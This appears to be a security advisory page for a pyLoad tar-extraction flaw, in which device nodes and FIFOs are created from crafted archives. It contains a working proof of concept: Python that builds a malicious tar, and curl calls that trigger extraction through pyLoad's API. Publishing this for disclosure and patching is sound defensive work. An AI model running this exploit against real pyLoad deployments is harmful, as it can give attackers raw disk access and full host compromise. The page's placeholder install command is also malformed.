GHSA-fr26-jjhm-638c: pyLoad Tar Extraction Creates Device Nodes Vulnerability
HIGHGHSA-fr26-jjhm-638c is a HIGH tar extraction creates device nodes vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting pyLoad libraries in the PyPI ecosystem. The issue involves tar extraction creates device nodes and fifos (member types not filtered; tarfile extractall without filter=). Remediation is available in the latest vendor maintenance releases.
GHSA-fr26-jjhm-638c at a Glance
How to Fix GHSA-fr26-jjhm-638c
To remediate this vulnerability, upgrade all affected pyLoad dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install pyload-ng>=Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show pyload-ng
How to Check if You Are Affected
To determine whether your Python environment is affected by GHSA-fr26-jjhm-638c, inspect your installed packages using pip:
pip show pyload-ng
Analyze the terminal output to locate any version of pyLoad in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In pyLoad, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-fr26-jjhm-638c Affected pyLoad Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pyload-ng
|
PyPI |
≤ 0.5.0b3.dev101
|
|
References
Frequently Asked Questions
What is GHSA-fr26-jjhm-638c?
Which pyLoad versions are affected?
What version fixes GHSA-fr26-jjhm-638c?
Is pyload-ng affected?
What CWE is associated with GHSA-fr26-jjhm-638c?
How can I check PyPI dependencies for GHSA-fr26-jjhm-638c?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-fr26-jjhm-638c",
"modified" : "2026-10-09T17:08:58Z",
"published" : "2026-10-09T17:08:58Z",
"aliases" : [ ],
"summary" : "pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)",
"details" : "### Summary\n\n`UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member\n**names** and symlink/hardlink **targets**, but never checks member **types**, and calls\n`tarfile.extractall` without a `filter=`. On Python < 3.14 the default extraction filter is\n`fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create\nthem on disk. When pyLoad runs as root (the official Docker deployment), a block-device\nmember grants raw disk access — full host compromise — reachable by any low-privileged user\nwho can trigger archive extraction (ADD to supply an archive, STATUS to invoke\n`ExtractArchive.extract_package`).\n\n### Details\n\n```python\n# plugins/extractors/UnTar.py:69-79\nfor member in tar.getmembers():\n if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only\n raise ArchiveError(...)\ntar.extractall(path, members, numeric_owner=numeric_owner) # no filter=\n```\n\nNo `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation\nin `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults\nto a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create\nFIFOs for any euid.\n\n### PoC\n\n```bash\nBASE=http://127.0.0.1:8100\n# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member\npython3 - <<'EOF'\nimport tarfile, io\nt = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it\nt.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))\ni = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666\nt.addfile(i)\nf = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE\nt.addfile(f); t.close()\nEOF\n\n# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,\n# then trigger extraction\ncurl -s -X POST \"$BASE/api/add_package\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n -H 'Content-Type: application/json' -d '{\"name\":\"poc\",\"links\":[\"http://x/dev.bin\"],\"dest\":1}'\ncurl -s -X POST \"$BASE/api/service_call\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"service_name\":\"ExtractArchive.extract_package\",\"arguments\":[\"<pid>\"]}'\n\nls -l <extract dir>\n# → crw-rw-rw- 1 root root 1, 3 nulldev (character device created)\n# → prw-r--r-- 1 root root pipe (FIFO created)\n# → -rw-r--r-- 1 root root marker.txt\n```\n\nNegative control: the same flow with a `../evil` traversal member is rejected\n(`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the\nGHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary\nis present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is\nreached via non-mapped names — as above — content-sniffed containers, or when 7z is\nabsent/fails.)\n\n### Impact\n\nWith pyLoad as root, a crafted archive can create block/character device nodes at arbitrary\npaths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion),\nor set special bits; non-root deployments still get FIFOs and node entries in\nuser-accessible trees.\n\n### Remediation\n\nIn `_safe_extractall`, reject (or skip) every member that is not a regular file, directory,\nor safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass\n`filter=\"data\"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply\nthe same member-type validation in the pre-extraction validator so all extractors share it.\n\n### References\n\n- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated,\n member types not).",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "pyload-ng"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "0.5.0b3.dev101"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/security/advisories/GHSA-fr26-jjhm-638c"
}, {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/commit/09eec1b431b6942a1917f094f2c77bfbf5637f60"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pyload/pyload"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-09T17:08:58Z",
"nvd_published_at" : null
}
}